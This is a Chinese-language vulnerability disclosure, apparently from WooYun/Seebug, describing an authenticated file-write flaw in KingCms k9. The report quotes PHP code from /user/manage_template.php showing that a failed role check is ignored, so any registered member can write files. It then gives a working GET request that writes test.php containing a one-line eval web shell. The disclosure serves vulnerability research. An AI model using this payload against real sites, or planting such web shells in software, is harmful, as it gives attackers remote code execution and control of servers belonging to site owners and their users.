### 简要描述:
KingCms最新版(k9)文件写入导致GetShell
### 详细说明:
朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。
在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520)
一般的会员就可以实现GetsShell
问题出在这里:/user/manage_template.php
```
//编辑文件
function _edit(){
$u=new user;$u->auth_role('template_edit');
$filename=kc_get('filename','/^([a-zA-Z0-9\_\-]+\/)*[a-z0-9A-Z\_\-]+\.[a-z0-9]{2,8}$/',1);
$content=empty($_POST['content'])?'':$_POST['content'];
$file=new file;
$file->put(T.$filename,$content);
kc_ajax(array('JS'=>"\$('#list_after').html('').hide();"));
}
这里有个权限验证$u->auth_role('template_edit'); ,我们去看看
public function auth_role($level=0,$is=false){
if(empty($level)) return $this->info['islogin'];
if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form');
//exit($this->info['islogin'].'ccc');
if($is==true && strpos($level,'_deny')) return false;
global $db;
$res_rids=$db->getRows_two('%s_user_role_bind','rid','removedate','userid='.$this->info['userid']);
if(empty($res_rids)) return false;//注释1:如果没有权限,返回false
$rids=array_keys($res_rids);
$rs=$db->getRows_two('%s_user_role_auth','auth','id','rid in ('.implode(',',$rids).')');
/*
$rs=$db->getRows_join('%s_user_role_auth','%s_user_role_bind','auth','rid','rid','t2.userid='.$this->info['userid'].' and t1.auth=\''.$level.'\'');
*/
if(!empty($rs['admin'])) return true;
//if(empty($rs[$level])) return $is ? false : kc_tip('您无权访问当前页!','form');
return empty($rs[$level]) ? ($is ? false : kc_tip('您无权访问当前页!','form')) : true;
}
```
看上面代码“注释1”处,如果用户没有相应的权限就返回false
但是在上面的第一段代码中,并没有判断是不是返回false啊,也没去exit(),也就是说返回true和返回false是一样的,没有判断,程序继续向下执行啊。也就是说,注册的会员都可以操作这里。
那就写入个文件吧test.php
内容简单点,就写
```
<?php
eval($_POST["cmd"]);
?>
```
Payload:get提交
```
/user/manage_template.php?jsoncallback=1&_=1&CMD=edit&METHOD=POST&AJAX=1&filename=test.php&content=%3C%3Fphp%0Aeval(%24_POST%5B%22cmd%22%5D)%3B%0A%3F%3E
```
提交过程如下图
[<img src="https://images.seebug.org/upload/201503/20000357b7e7b89942de8a9fb073487d0c7cbb82.jpg" alt="文件写入过程副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/20000357b7e7b89942de8a9fb073487d0c7cbb82.jpg)
测试如下图
[<img src="https://images.seebug.org/upload/201503/20000213a91e6f95d58c6d93b25a9471a1c74408.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/20000213a91e6f95d58c6d93b25a9471a1c74408.jpg)
### 漏洞证明:
见 详细说明
暂无评论